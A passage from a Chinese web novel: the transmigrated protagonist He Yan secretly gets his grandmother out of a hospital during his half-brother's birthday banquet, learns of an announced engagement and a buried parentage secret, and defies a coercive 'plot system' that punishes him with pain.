苏丽曼眼睁睁地看着方家母子离开,又眼睁睁地看着贺衍结账,拿着价值四百九十九万的诗岸时刻系列“星空陀飞轮”机械腕表离开了。 她愤愤地咬牙,刚才那个人怎么不早说自己有钱,害得她失了这么大一笔单子。 贺衍将礼品袋直接扔到车内,开车直奔淮新多克医院。 贺衍推门走进杨梅霞,和她说了几句话后,找到合适的时机,打开了信号屏蔽仪。 他将一个迷你玩偶递给杨梅霞,玩偶的底座有一个凸起的装置。 “奶奶,这里有一个开关,等明天晚上八点,你把这个开关打开。”贺衍将东西放到了床头。 杨梅霞嘴唇抖了抖,担心地看着贺衍:“小衍,你明天不和我一起走吗?” 贺衍笑着说道:“奶奶先去那边等我一会儿,我很快就去找您。明天您跟着来接您的人走就行,照片我也让您看过了,那两张脸挺好记的。” 杨梅霞心疼地看着贺衍,她知道小衍有什么在瞒着自己,她也知道这孩子是怕自己担心,才不告诉自己。但是这样,才更让人担心啊。杨梅霞枯瘦的手攥着被单,微不可闻地叹了口气,点了点头。 下午,贺家。 贺衍敲了敲贺琚的房门。 “哥哥居然会主动来找我,今天太阳是从西边出来了吗?”贺琚说话时尾音微微上扬,带着点无辜的轻快。 贺琚让开了身子,示意贺衍进来。 冷调灰白的墙壁,家具极少,唯一带点色彩的还是花瓶里的几朵山茶花。 贺衍的眉心极轻地蹙了一下,他第一次进贺琚的卧室,这种装修风格和他外表看起来完全不匹配。 贺衍把东西递给他,唇角维持着礼貌的弧度:“提前祝你生日快乐,你的礼物。” “哥哥的语气也太硬邦邦了,半点都不真心。” 贺衍微微眯起眼睛,耐着性子放缓了声音:“生日快乐,贺琚。” “谢谢哥哥。”贺琚笑得眉眼弯弯如沐春风,但瞳孔却微微收缩,温润的嗓音里压抑着几丝不可察觉的兴奋。 他拆开了礼物,银白表盘镶嵌着璀璨的钻石,蓝宝石镜面下,机械齿轮精密地运转着,表带是稀有鳄鱼皮,还扣环镶嵌红宝石,一看便价值不菲。 梵时阁的腕表,贺琚睫毛快速颤了颤,最终定格成一种疑惑,哥哥怎么会送自己这么贵的礼物。 这么想着,他便问出了声:“哥哥怎么想到送我这个了?” 因为联网搜索[十八岁男生成人礼物送什么最合适]第一条就是手表,价格又刚好卡在五百万这条线上。 贺衍心里吐槽了一下,嘴上倒是说着:“感觉这个很适合你罢了。” 贺琚有所思地摩挲了一下表带,将手表带到了手腕上,他盯着腕表微微勾起唇角,随后抬眸直直地看向贺衍:“哥哥看样子还有话想说。” “奶奶的手镯可以——” “不行哦。”贺琚摇了摇头,把手表摘下来放到了贺衍手上,若有所指地说道:“虽然我很开心收到哥哥的礼物,但哥哥这样也太没有仪式感了。只有生日那天亲手收到的礼物才有意义啊,哥哥。” 贺琚狭长的眉眼布满了笑意,他眯起了眼睛,歪头轻笑,藏住了眼底泛起的病态的兴奋。 “明天晚上哥哥来找我,我们交换礼物怎么样?”贺琚歪头轻笑:“哥哥送了我喜欢的礼物的话,我当然要把奶奶的镯子还给哥哥啊。” 贺衍扯了下嘴角,他就知道没这么简单:“你最好说到做到。” 低沉的嗓音裹着警告,但贺琚却仿佛没有受到丝毫影响一般,甜甜地笑着点了点头。 贺衍眉心拧了一下,睨了贺琚一眼,转身就走了。 周二,贺琚生日。 生日宴会在晚上八点开始,但七点刚过,庭院里已有了动静,豪车一辆接一辆地开进来。贺叁穿着黑色的燕尾服在门口核对请柬,水晶吊灯把整个大厅照得雪亮。 天已经彻底黑下来了,盛大绚烂的烟花在天空绽开,无数光点迸溅开来,拖着细长的尾焰坠落。 贺衍望着远处的烟花,在佣人的催促中终于离开了房间。 八点钟,宴会开始。 七层高的蛋糕矗立在鎏金的台座上。 “上次贺衍的那个生日蛋糕是三层吧,七层可纯纯是高定款了。” 本来还以为贺衍能压过贺琚一头呢,嵇雅君有些不满地嘟囔了几句:“好吧,贺家的确更看重贺琚。” “不过,这次裴屷没来。”闺蜜轻声地对嵇雅君说道:“所以嘛,就算贺衍不受贺家重视,但裴屷可没来参加贺琚的生日宴会。” 嵇雅君撇了撇嘴,裴屷有什么好的,谣言都传了这么长时间了,也不见裴屷出来辟谣。因为这个谣言,贺衍在圣洛莱索的风评可是一落千丈。嵇雅君耸了下肩,虽然之前也不怎么好吧。 贺壹将纯银的餐刀递给贺琚。 在贺琚将刀尖抵在覆满金箔的奶油层那一刻,一旁的贺壹无声地打了个手势——藏在蛋糕底座的迷你钢琴突然开始演奏生日歌。 嵇雅君的闺蜜看到这一幕,无不羡慕地说道:“听说制作这个蛋糕的团队提前三个月试验了几十种配方,就是为了确保最底层的承重柱能藏进一台可以自动演奏生日歌的迷你钢琴。” 但嵇雅君却半点没听进去了,她忽然想明白了一件事,裴屷的确没辟谣订婚的谣言,但从始至终他也都没有否认这个谣言。 水晶灯流泻的光影浮在贺衍的身上,勾勒出他修长挺拔的轮廓,满场精心打扮的公子少爷似乎都成了模糊的背景板。 除了一个人。 嵇雅君的目光不经意落到了贺衍那处,瞳孔微微放大,他的身边怎么是裴屷?!! 第60章 第 60 章 订婚 第60章 水晶吊灯的光芒如星河般倾洒而下, 将整个宴会大厅映照得无比璀璨。 侍者们穿梭在衣着华贵的宾客之间,香槟塔闪烁着金色的光。 几乎所有人的注意力都集中在大厅中央的巨型蛋糕那里。 贺琚的领口别着蓝宝石镶嵌而成的贺家家徽,他垂眸凝视着蛋糕, 静待音乐停止。 光影在他轮廓上跳跃, 睫毛在脸颊上洒落成蝶羽。 贺琚将手中蛋糕刀放下,手上不小心沾了一点奶油, 他垂眸看了眼,并未在意。 “感谢各位来参加我的成人礼。” 贺琚的声音清润,他缓缓扫过全场宾客,直到将目光停在了角落里的那个人身上。 和周围的其他人截然不同,那人连假装欣赏的兴趣都没有, 时不时地看一眼手机, 对这里的一切都毫不在意。 哥哥还是这样啊, 贺琚睫毛颤动,他忽地想起第一次见到贺衍时的场景。 那天是一个艳阳天,刺目的阳光将贺衍的轮廓灼得模糊不清, 自己只能看到他穿着普通的白色短袖,皮肤在阳光下泛着冷白。 直到走进—— 才发现那双眼睛冷得像是淬了冰, 薄唇抿成一条直线,很不好惹的样子。 他抬眸的时候, 周遭的温度似乎都骤然下降了几度, 整个人透着一股锋利的冷感, 那双黑曜石般的眸中没有丝毫自己的存在。 那时候他只觉得有趣, 或许是一个能让自己没那么无聊的玩具。所以当时他故意激怒贺衍,故意让他生气。 但无论怎么捉弄,贺衍的眼里却始终没有自己,就和现在一样。 贺琚眉眼弯弯, 眼底却翻涌着病态的执念。 水晶灯折射的光落进他深黑的瞳孔中,映出里面扭曲的占有欲。 哥哥的眼里没有我又怎样? 他会亲手建造一个樊笼,折断哥哥的羽翼,将他关进去。 贺忠载站在贺琚身旁,威严的面容露出几分柔和。他的声音沉稳有力:“今日犬子的成人礼,感谢各位莅临。” 贺琚收回视线,退到了贺忠载右后侧的位置,脸上挂着得体的微笑听着他的讲话。 忽然,贺琚视线微妙地游移,他顺着人群缝隙望去,随后瞳孔猛地紧缩,裴屷怎么在哥哥身后。 贺琚嘴角弧度丝毫未变,手指却几不可察地抽搐了一下。他不动声色地将手背到身后,指尖却已深深陷入掌心,钝痛感让他的思绪回笼。 贺忠载的声音传入了耳中:“……贺氏集团30%股份转让给贺琚。” 话音未落,宴会厅内已是一片哗然。几位贺氏股东面色骤变,交头接耳;不少宾客掩嘴惊呼,看向贺琚的目光更加热切。 “百分之三十的股份,那可是将近一千亿啊!真是大手笔。”身旁有人低声感叹,“贺总这是把自己手里半数的股份都给贺琚了啊。” 贺衍连眼皮都没抬一下,此刻他满脑子都是医院那边的事情。 他刚刚收到消息,奶奶已经成功离开了医院,现在车正开往淮新边境。 平常照顾奶奶的护士已经被引开了,只要接下来的半个小时不被发现,那就能顺利出境。 贺衍握紧手机,盯着实时更新的位置。 他的心跳在肋骨下疯狂跳动,仿佛下一秒就要冲破胸腔的束缚。地图上的小点快速移动,马上就要离开主城区了。 周边的窃窃私语如同涟漪一般扩散蔓延,贺衍这才注意到周围宾客的目光都看向了他。 不,是看向他的身后。 他缓缓转身,眉心拧了下,指尖微微一颤。 裴屷就站在他身后两步之遥。 但裴屷怎么会来这里,宾客名单里并没有他。 不过贺衍转念一想,他和裴屷已经一周没有任何联系了,就算裴屷改变主意要来,也不会特意通知自己。 贺衍抿了下唇:“你怎么来了?” 裴屷直直地看着他,眸中不经意露出几丝嘲意:“你原来不知道吗?” 知道什么? 裴屷凑近贺衍,声音很轻也很冷:“贺衍,你满意了吗?你们父子俩的算计得逞了。” 他满意什么,算计什么?贺衍满是疑惑。 裴屷扯了扯嘴角,眼底波动了一瞬,夹杂着某种复杂的情绪:“装得真像。贺忠载没告诉你吗?今晚他就要宣布我们订婚的消息。” 贺衍的手机差点从手中滑落,他瞪大眼睛:“你说什么?” “别演了,贺衍。”裴屷眸中的情绪很快被压下,他的神色再次恢复平静。 贺琚胸口的徽章闪着冷光,奶油在指腹间融化成黏腻的甜。 从这里看过去,裴屷和哥哥之间距离近得仿佛能数清对方的睫毛。到底在说什么,有必要靠这么近吗。 灯光真是太亮了,亮得他几乎要看不清哥哥了。 贺琚眯起了眼,他拿起白色的餐巾,姿态从容地抹去手上的最后那丝甜腻,眼底却满是癫狂的狠戾,无人注意的角度,飘落的玫瑰花瓣被他碾压成一片泥泞。 几乎是裴屷声音落下的瞬间,贺忠载的话便响了起来:“各位,借着这个机会,请允许我再宣布一个喜讯。” “很荣幸,我们贺家能与裴家联姻。我的儿子贺衍将和裴屷订婚!”贺忠载看向他们所在的方向,眉梢满是笑意:“订婚仪式将择良辰吉日举行,届时欢迎各位赏光见证。” 他的举动无疑将两人放在火上炙烤。 全场瞬间鸦雀无声,随即爆发出更大的骚动。 贺琚完美的笑容僵在脸上,一种陌生的灼热感从胃部升起,瞳孔被墨色浸染。 直到喉间泛起一股血腥味,他才发觉自己咬破了口腔内壁。 “真让我给猜中了。”嵇雅君目瞪口呆,“真是够玄幻的,这太炸裂了吧,私生子和下一任总统的儿子订婚了。” 旁边的闺蜜喃喃自语:“贺衍能不能开个班,我一定会报名的。他和裴屷才认识不到三个月吧,怎么就把裴屷勾到手里了,那可是端坐在权力金字塔尖的人啊。” 贺衍忽然眩晕,他瞳孔猛缩,看着贺忠载一张一合的嘴巴,耳膜像是被尖锐的锤子敲打,一阵又一阵地耳鸣。 大厅的明暗交界处,他的睫毛极快地颤动了两次,下颌线条瞬间绷紧。 贺忠载怎么会在这个时候宣布他会和裴屷订婚,原书里并没有这段。 这绝对属于重大变动是,肯定会影响后面的剧情。但系统为什么没出现,它为什么既没有阻止也没有任何提醒。 明明最开始他被关在器材室想要敲碎玻璃离开的时候,系统还能告诉他那时应该来救自己的马英帆的动向。 为什么到贺忠载这里就不行了。 明明这次偏离剧情的程度,远远超过那次。 贺衍喉结不明显地滚动,他垂在身侧的手指无意识地抽动。 但在远处宾客看来,他不过只是微微睁大了眼睛,一副惊喜的模样罢了。 可裴屷离得很近。 血液在太阳穴突突跳动,额角的青筋凸起,视网膜边缘泛起细小的黑点。他下意识用舌尖顶住上颚,衬衫领口因急促的呼吸而起伏不定。 裴屷眉心轻蹙了下,这种生理反应不可能作假,贺衍居然真的不清楚这件事。 两人的视线在半空中短暂相接,贺衍的眼尾微不可察地一压,裴屷颔首。 两人同时转身,一前一后走向大厅角落的圆柱后。 贺衍背靠大理石柱,冰凉的冷意让他发热的大脑恢复了清明。他第一时间打开手机,实时更新的位置显示,车已经开到淮新边缘。 淮新周边有一处废弃的大楼,那里没有监控。再次换车之后,贺家即便想追也无法锁定目标了。 贺衍屏幕在昏暗的光线中逐渐暗下,紧绷的肩膀逐渐放松。 他随后抬头,冷静地说道:“裴屷,我并不清楚贺仲载宣布订婚这事。我知道你的意思,那份合同你随时可以交给贺忠载。你的要求我都会配合。” 裴屷沉默了一阵,半张脸浸在暗处,眉骨投下的阴翳遮住了眼眸。不知是信还是没信,他没再继续这个话题。 裴屷的声音平静:“贺衍,林娴的照片我找到了。” 因为这张照片,他也明白了一周前贺衍的未尽之言。 裴屷的手机屏幕上赫然是一个年轻女人的照片,即使经过技术复原,依旧能看出其磨损的痕迹。 上面的人是林娴?!贺衍的瞳孔猛缩,他那种荒谬的没有任何证据支持的想法,居然是对的。 这张照片,居然和贺琚有八九分相似。 “所以,你才是贺家真正的孩子,对吗?贺衍。” 裴屷低语,声音却如同惊雷,震得贺衍耳膜生疼。【你现在阅读的是 】 60-70 第61章 第 61 章 桥梁公馆(副总统府邸)…… 几个小时前, 桥梁公馆。 这里是联邦副总统的府邸,裴行赫多数时候都居住在这里,只有偶尔会回家一趟。 办公室。 裴行赫坐在宽大的红木办公桌后, 鼻梁上架着一副金丝细框眼镜, 镜片后的目光沉静如深潭。 他正在低头批阅文件,睫毛在眼下映出一小片阴翳, 看不清神色。 三十多岁将近四十岁的年纪,面容仍保持着年轻时的轮廓,下颌线条干净而利落,皮肤在灯光下泛着健康的光泽。 唯有眼角几道极浅的细纹,在他皱眉时若隐若现。 “阁下, 您要的报告。”秘书轻声提醒。 “放那。”他头也不抬, 声音低沉。 钢笔在纸上游走, 发出沙沙的声响,像是某种无声的倒计时。 他忽然停下笔,抬起眼来, 那双深不见底的眼睛才显露出来——钴蓝色的双眸像是寒玉,沉静中带着不容置疑的威压。 他翻开了那份报告, 指尖在某个名字上轻轻一叩。 微小的动作让整个房间的空气都为之一滞。 秘书屏住呼吸,看见他的面容上闪过一丝极淡的疲惫, 但转瞬即逝。 下一秒, 他又恢复了那种无懈可击的平静, 仿佛刚才的松动只是错觉而已。 指节敲在档案时发出闷响。 “通知一下裴屷, ”他合上文件,声音里听不出什么情绪,“让他到茶叙阁找我。” 裴行赫又拿起了笔。 半个小时后,他摘下眼镜, 捏了下鼻梁,起身离开了办公室。 一辆车驶入公馆,门口的侍卫看到后座上的裴屷,立刻放行通过。 秘书看到裴屷,对他招手示意:“怎么来得这么慢,首长已经等你有二十多分钟了。” 裴屷微微垂眸,只是问道:“罗叔,父亲找我是因为什么事?” 罗彰勋心里微微感慨,血缘这东西还真是奇妙啊,这孩子小时候明明更像夫人,但是现在眼睛却几乎和首长一模一样。 都是那种内勾外扬的走势,眼尾微微上挑,活脱脱像是从古画上拓下来的凤目。 最妙的还是他们垂眸时的神情。 不过副总统低头时看着总带几分悲悯,仿佛庙堂里的木雕神像忽然活了一样,哪怕不言不语,也让人不敢僭越。 但裴屷倒是把年轻人特有的锐利都收进眼里,更像是一柄将出未出的利剑。 罗彰勋领着裴屷进入公馆:“前几天你是不是查了个人?” 裴屷眸色微沉。 罗彰勋没再过多说什么,只是径直领着裴屷到了茶叙阁。 茶叙阁。 茶中的热气在空气中逐渐消散。 裴行赫将茶水倒掉时,袖口滑落,露出手腕内侧一道淡色的疤痕——那是几年前他遇刺时留下的。 裴屷敲门进去了。 “父亲,您找我。” 裴行赫没有立刻开口,他垂眸又为自己斟了一杯茶,青瓷杯底与红木茶盘相触时,发出极轻的“铿”的一声。 空气骤然凝固。 “你昨天进了档案室。” 裴行赫的目光终于落在了裴屷的脸上:“裴屷,你不该有这个权限。” “这次帮你的那个人,我已经开除了。” 裴屷抿唇,他抬眸直视,目光逐渐锐利:“父亲,我只想知道真相。贺家到底拿了什么来威胁你,才让你如此急迫地就同意了与贺家联姻。” “你查到了林娴。”裴行赫的语气并不是询问,而是笃定。 裴屷坐在他对面,面前的茶汤映出了他冷峻的眉眼。 他身体微微前倾,眸光锐利。 “您当初说贺琚和裴家的命格不合,不过是借口罢了。父亲,林娴是森铭学的夫人,对吗?” 茶案上的光影微微晃动,窗外的树影婆娑,空气微滞。 “她的档案在十五年前就被销毁了。” 裴行赫声音平静得像是在讨论天气一般:“纸质记录焚毁,电子痕迹覆盖,连国安局的备份数据库里都删除了和她相关的信息。你怎么会想到查她?” 裴屷没有回答这个问题,他短暂沉默,只是说道:“我找到了她的照片。贺琚是森铭学的孩子,或者说,是他唯一的孩子。” 裴屷补充道:“照片夹在十九年前的《外交密档》附录里,它没有被系统收录。照片里面还有你,父亲。” “贺忠载也知道这件事。”裴屷的声音同样笃定,他眉心蹙起:“但我不明白,他拿什么来威胁您,您和森伯父的关系一向很好。” 裴屷重复道:“我只想知道真相。” 裴行赫的手指在茶杯边缘停顿一瞬。 “真相?”裴行赫笑了,“真相是这间屋子里最不值钱的东西。” 裴屷直视着他,眼神未曾动摇半分。 裴屷声音冷静得近乎冷酷:“您为什么不敢告诉我。” 裴行赫缓缓抬眼,神色并未变动,钴蓝色的双眸平静地落在了裴屷的脸上。 “现在——”他缓缓开口,“你并不需要知道。” 裴屷沉默了一瞬,随后唇角扯出一抹极淡的讥诮:“您说得对,因为这件事涉及您的丑闻,对吗?” 茶室内陷入死寂,连呼吸声都清晰可闻。 良久,裴行赫终于冷然开口。 他站起身,俯视着自己的儿子,嗓音低沉而缓慢:“裴屷,你还年轻。有些事情,或许以后知道会更好。晚上是贺家的宴会,去赴宴吧。” 话音落下,他转身离开,茶室的门在身后无声闭合。 侍者托着银盘穿梭,走到了二人身边:“二位,需要香槟吗?” 银盘出现在视线里的瞬间,两人的目光如同触电般相继错开了。 玻璃杯中的香槟泛着细碎的金色气泡,在昏暗的灯光下仿佛是流动的毒药一般。 贺衍的睫毛几不可察地颤了颤。 侍者的这句话像一把钥匙,瞬间打开了二人记忆的闸门。 “不必。” “谢谢,不用。” 两人的拒绝几乎同时脱口而出,又同时陷入了尴尬的沉默。 银盘上的酒杯因为突然的静止而轻轻碰撞,发出细微的脆响。 侍者困惑地退开。 两人之间的空气瞬间凝滞成冰。 贺衍扯松了领结,呼吸畅快了些许。 他眉梢微挑,直截了当地承认了:“你说得的确不错,但那又如何呢。” 裴屷愣了一下,他很久没看过贺衍这般恣意的状态了。 第62章 第 62 章 “你根本不是什么剧情维…… 第62章 “只有你才和贺忠载有血缘关系, 那当初我想的一切都可以被推翻了,合同对你根本没有什么威胁。” 裴屷眉心拧了下,他直直地盯着贺衍, 神色冷漠又审视:“贺忠载拥有贺氏集团百分之七十的股份, 即便分给贺琚百分之三十,那剩下的, 会不会就是他留给你的。” 贺衍嗤笑一声,毫不犹豫地回答道:“我就是一个棋子。贺忠载没你想得那么高尚,他不会给我任何东西的。” 屏幕弹出一条消息:[已成功] 看来奶奶已经离开淮信境内了,贺衍的唇角扬了一下,才继续说道:“我不在乎贺家的钱, 也不会跟你订婚。” 裴屷地看着贺衍, 声音略带嘲意:“但今晚在场的所有人都知道, 我们订婚了。” “你的话没什么可信度了。贺衍。”裴屷扯了下嘴角,视线冷然:“你生日那晚,酒里的药, 是你下的,还是贺忠载?” 两人的视线在空中相撞, 贺衍脸色平静:“是我,抱歉。” 裴屷今天晚上, 比平日奇怪许多, 他看着还算平静, 但他的每一句话里都压着一股火。 贺衍睫毛轻颤, 声音却无比冷静:“裴屷,你可以用这个理由来拒绝订婚,裴家不会需要一个声名狼藉的联姻对象。 至于我生日那晚,不是也留存了证据可以证明我们之间什么都没有发生。订婚宴还没有举办, 一切都只停留在口头上。” 可他不需要贺衍声名狼籍。 烟花升空,噼里啪啦的炸裂声在耳畔响起,绽放出绚烂的色彩,几乎将整个庭院点亮。 是贺家的佣人在庄园内点燃了烟花。 贺衍转头看去,唇角竟然还挂着一丝惬意的笑。 裴屷没有动作,他抿着唇,盯着贺衍,半晌没有说话。 烟花仿佛尽数落入了贺衍的眸中,闪烁着点点星碎的光。 裴屷问道:“贺忠载的目的是什么,你知道吗?” 贺衍摇头,但随后他又问道:“网上搜不到消息,森铭学先生还健在吗?” 裴屷眼神愣怔:“他身体还不错,你认为这两者之间有联系吗?” 贺衍抬眼看他:“森铭学和你父亲,都是站在联邦金字塔最上层的那个人。贺忠载的野心不会小,但贺忠载具体要干什么,我也不清楚。” 奎尔丹尼州,雪夜。 执行完任务,高振哈了一口寒气,搓着手走到营帐那里喝了杯热茶。 温热下肚,他伸了个懒腰,随手点开了朋友圈,眼睛忽然睁大。 他立刻站起来,看向另一侧:“老大,你看,这不是你喜欢——你那个朋友,他好像和裴家的少爷订婚了。” 这是高振一个高中同学的朋友圈,他今晚参加了贺琚的生日宴会。 图片上的两个人正在低头说话,他们凑得很近,大厅角落的光影落在两人的身上,这是一张很暧昧的照片。 昏黄的光线下,皮带束在黑色的军服上,勒出精瘦腰线的弧度。 岑靳抬手压了下帽檐,他扯了扯嘴角,灰蓝色的眼睛半阖,半张脸陷入黑暗中,他睁开了眼,眸中跳跃着火光,像雪原里未熄的余烬。 “高振,别说无关的话。” 高振有些无语地眨巴了下眼,明明是你让我时时关心他的动态的,怎么又—— 岑靳冷不丁开口:“能追踪到贺衍的手机吗?” 高原嘟囔了几句:“什么手机啊?” 岑靳转过身,盯着他看了一眼。 “啊,是之前老大你让我搞的手机吧。但是当初你不是吩咐,绝对不能被任何设备追踪——” 岑靳的眸色更暗了,灰色逐渐取代了湛蓝,透露出更冷的寒意。 高原瞬间汗毛直立,他哈哈干笑了两声,不敢再开玩笑:“哈哈哈,我想起来了,那里面有单独的信号源,我可以追踪到的。” 晚宴结束,宾客陆续散去,豪车的尾灯在夜色中划出暗红的弧线,引擎声渐渐远去。 大厅内,佣人们正手脚麻利地收拾着晚宴过后的狼藉。 哥哥不在大厅了,他已经上去了吗? 贺琚眼底划过一抹阴鸷,还是他现在依旧和裴屷一起。贺琚正准备转身离开的时候,忽然看到了贺衍的身影。 神色中的病态瞬间消失,他扬起笑脸,快步走了过去:“哥哥原来在这里,是在等我吗?” 贺衍掀起眼皮看了他一眼:“镯子。” 贺琚笑容不变:“那去我的房间吧。” 贺琚打开门。 灯光亮起的瞬间,灰色调的房间中间突兀地出现了一抹红。 那是一瓶红酒。 贺衍根本没往别的地方看,随手将礼物递给了他:“生日快乐。现在可以把镯子给我了吧。” 贺琚将礼物盒放到了桌子上,拉开抽屉,拿出了红布包裹着的一个镯子。但他并没有直接给贺衍,反而是笑着指了指那瓶酒:“哥哥,要一起喝一杯吗。” 贺琚的声音停顿了一下,笑意从唇角泄出:“庆祝我们都成年了。那瓶酒的年份,刚好是我们出生的那年。” “不用,先把奶奶的镯子给我吧。”贺衍没什么心情陪这里跟贺琚“玩过家家”。 他伸出手,示意贺琚把东西给自己。 贺琚歪了歪头,笑意却不进眼底:“哥哥的生日礼物我不是很满意。” 贺衍没什么感情地哦了一声,直接把东西从贺琚手里拿走了。但他打开红布一看,根本不是奶奶的镯子。 “因为我不满意礼物,所以之前说的交换礼物这件事,就没办法进行了。”贺琚状似苦恼地皱了下眉,“不过,如果哥哥愿意在这里坐一坐,陪我聊聊天,其实也不是不可以把奶奶的镯子给哥哥。” 贺衍眉头压低:“贺琚——” “哥哥喊我有什么事吗?”贺琚立刻应声,眼睛很亮,他的眸中映着贺琚的影子,随后笑道:“我把玉镯藏起来了,哥哥肯定是找不到的。” “哥哥不陪我喝酒,我当然不开心,不开心的话就不想把东西给你。”贺琚逻辑“自洽”的一番话还没说完,就被贺衍拽紧了衬衫衣领。 青筋在苍白皮肤下跳动,贺琚的呼吸有些不畅,但他依旧在笑。他的声音带着几分喘,却有种诡异地轻快:“如果哥哥还这样惹我不开心的话,我就更不会满意了。” “你到底在笑什么?”贺衍松开了手,冷着一张脸说道:“看在你今天生日的份上,我陪你说话可以,但酒就不必了。” 贺琚咳嗽了几声,泪花在眼角打转,泛起微红的涟漪:“可是我只想让哥哥陪我喝酒,为什么哥哥宁愿和一个外人有说有笑,也不愿意陪我喝酒呢。” 这个日期的红酒,是他找了好久才找到的。 贺琚失落地垂眸,睫毛遮住了眼底闪烁的病态偏执。 “哥哥失约在前,为什么还要求我遵守约定呢。”贺琚这句话近似喃喃自语,但还是被贺衍捕捉到了。 他跟贺琚有什么约定吗?贺衍眉头蹙起,他之前心情还算不错,才能跟贺琚在这里瞎扯一堆,但耐心马上消耗殆尽了。 “别瞎扯了,把镯子给我。” 贺琚脸上的笑意消失,眸中翻滚着浓郁的墨色:“不是说了,只要哥哥——” 拳头撞上贺琚的腹部,他猛地弓起身子,喉间挤出半声闷哼。 贺衍完全没有控制力,他烦躁得要命:“今天是你生日,我本来不想动粗的。贺琚,趁我还有耐心,快点把奶奶的——” 【宿主您好,绑|架剧情点即将开始,请宿主做好准备,请在十天内完成该剧情点。】 【完成该项剧情点后,宿主可与系统解绑。】 提示音在耳畔响起,三遍之后,眼前忽然出现了一个透明的屏幕,像是古早游戏的系统界面一样的像素风,非常简陋。 之前先是升级为任务模式,到现在又有了系统界面。系统为什么会有这些变化? 迭代升级? 但它为什么没有对今天晚上发生的事作出任何回应。 贺衍的眸色变沉。 屏幕忽然弹出来一个任务:[剧情点:绑|架贺琚。任务要求:绑|架贺琚并等待其被救援。] 任务的下面附上了一份解绑协议。 贺衍的视线移动到解绑协议上,片刻后,解绑协议自动弹出,泛着幽蓝色的条文瞬间铺满了整个屏幕。 一行行字密密麻麻,在冷调的光下很是晃眼。 “哥哥,你在看什么?”贺琚的声音打破了贺衍的沉思。 贺衍的目光落在贺琚脸上了片刻,随后大步离开了房间,留给贺琚的只有砰然关上的大门。 灯光落在酒瓶上,折射出冷调的红。 贺琚敛眸,眉梢眼角已然失去了色彩。 良久,他轻笑了一声,声音在空寂的房间中回荡:“哥哥又拒绝我了,那就没有下次了。” 贺衍回到房间,关紧了房门。 他盯着眼前的协议,仔细地看了一遍又一遍。 这份协议,贺衍的指尖忽然划过虚空中幽蓝发光的字符,忽然停住了。 [第二十三条,解绑条约生效后,双方权利义务终止。] 贺衍出声问道:“但生效后的定义呢?” 系统冰冷的机械音响起:【按照协议解释……】 贺衍眼中眼神锐利,他截断了系统的话:“但协议里可没说‘生效后’是即时生效,还是存在缓冲期。” 贺衍的声音不疾不徐,却字字如钉:“有三个矛盾点。” “第一,解绑程序未明确时间节点,任务的成功与否解释权在你。你所谓的‘即时’和我认为的‘即时’是否是同一个时间尚未明确。” “第二,”贺衍指尖一划,落在了条款的另一处:“‘权利义务终止’的表述模糊——是全部终止,还是仅是部分终止?再者,你并没有在协定中标清双方的义务约定范围。” “第三,”贺衍冷笑了一声,展开了藏在屏幕最下方几乎和边缘融为一体的小字,“这里写着‘特殊情况下系统需要宿主继续提供能量帮助’,什么是特殊情况,现在的情况算特殊吗?你之前怎么从来没有明说,需要从我身上得到能量。” 系统沉默三秒,屏幕上的幽蓝的字体剧烈闪烁。 贺衍抬眸,看着虚空中的一点,眸光锐利如刀:“所谓解绑,到底是真的;还是悬挂在驴面前的胡萝卜,一个虚假的永远无法实现希望。” 【宿主,您的质疑已触发系统警告】冰冷的机械音陡然尖锐,【若宿主继续违规揣测系统动机,将强制执行惩罚程序,将会对宿主的灵魂造成永久性伤害——您确定要赌吗?】 电流声在贺衍的神经末梢炸开。 记忆深处的疼痛刹那间涌入脑海,他的瞳孔骤然收缩,所有的碎片却瞬间在脑海中咔嗒一声,连成了一块完整的拼图。 为什么不赌? “你根本不是什么剧情维护系统,101。”贺衍眼底跳动着冷光:“你所谓的解绑协议,从头到尾都是一句空话。只要我完成一次任务,你的能量就会多一分。对吗?” 贺衍的目光锐利如刀大胆一点猜想,这个系统或许和自己一样,根本就不是什么剧情维护系统,而是外来者。 他这样想着,也说出来声。 虚空中的条文突然剧烈闪烁,像素文字开始模糊。 电流顺着脊椎蔓延全身,贺衍的瞳孔骤然紧缩成针尖,身体控制不住地痉挛发颤。 他的喉结滚动,却硬是没有发出任何声音,只有额角暴起的青筋出卖了他的痛楚。 他踉跄了几步,便重重的摔倒在地,后脑撞击地面发出沉闷的声音。 好疼,贺衍的瞳孔逐渐涣散。 机械的电子音有些微的卡顿:【宿主是否愿意签订协议】 贺衍的四肢开始不受控制的剧烈抽搐着,手指关节泛出骇人的青白。 唇瓣已经被他咬得出血,但被冷汗浸透的眉眼却没有半分动摇。 贺衍的意识逐渐模糊,唇角却扬了起来。 他笑出了声。 对啊,他之前就意识到了,怎么反倒现在才彻底想明白呢。 如果系统真的能抹杀自己的灵魂,就应该直接一劳永逸地把他这个bug处置殆尽,而不是使出这种所谓的惩罚手段呢。 笑声似乎激怒了什么,电流更强了。 每一根神经仿佛都在被强烈灼烧一般,像是有人把熔化的铁水注入他的血管一样。 他咬紧牙关,鲜血从唇角溢出,眼中已然布满血丝。 贺衍的视野边缘开始发黑,在即将沉入黑暗的瞬间,被猛地拽回现实。 电流变小了,减弱的速度比袭来时更快,仿佛有一只无形的手突然掐断了电流。 针刺一般的疼痛依旧遍布全身,他的肌肉缓慢抽搐着。 衣服早已被冷汗全部浸透,湿漉漉贴在肌肉痉挛的背部。 贺衍急促地喘息着,模糊的视野中,系统界面开始剧烈晃动,像是垂死挣扎的萤火,瞬间消失了。 像是之前从来没有出现过一样。 贺衍瘫在地上,手指扣着地面撑起身子,把自己摔进柔软地床榻之中。 所有异常都有了解释——那些不合常理的出现规律,那些机械音里偶尔出现的细微卡顿,都是系统能量即将耗尽的征兆。 意识无法再继续支撑下去,他的视野模糊,贺衍任由自己睡了过去。 深夜一点半。 贺衍正逐渐陷入昏沉的睡眠之中,但还没等意识完全坠入黑暗,一声巨响就将他猛然拽回现实。 “砰——砰——砰——!” 房间大门被猛地拍响,贺衍条件反射地想要起身,却发现四肢像是被灌了铅一样沉重。 过度电击后的肌肉仍在不受控地轻微抽搐,他的指尖发麻到几乎失去了知觉。 他勉强撑开沉重的眼皮,模糊的视线里,几道黑影已经破门而入,脚步声出现在屋内。 估计是医院的人发现奶奶不见了。 贺叁冷着一张脸,语气中没了往日伪装的恭敬:“贺衍少爷,老爷现在要见你。” 贺衍耳中一阵嗡鸣,贺叁的声音像是隔着一层厚重的毛玻璃一样。 贺衍轻啧了一声,他试图撑起身体,却因为手臂乏力使不上劲。 他再次陷入了柔软的床榻之中,手腕被扭了一下,疼痛让他混沌的思绪稍微清醒了些。 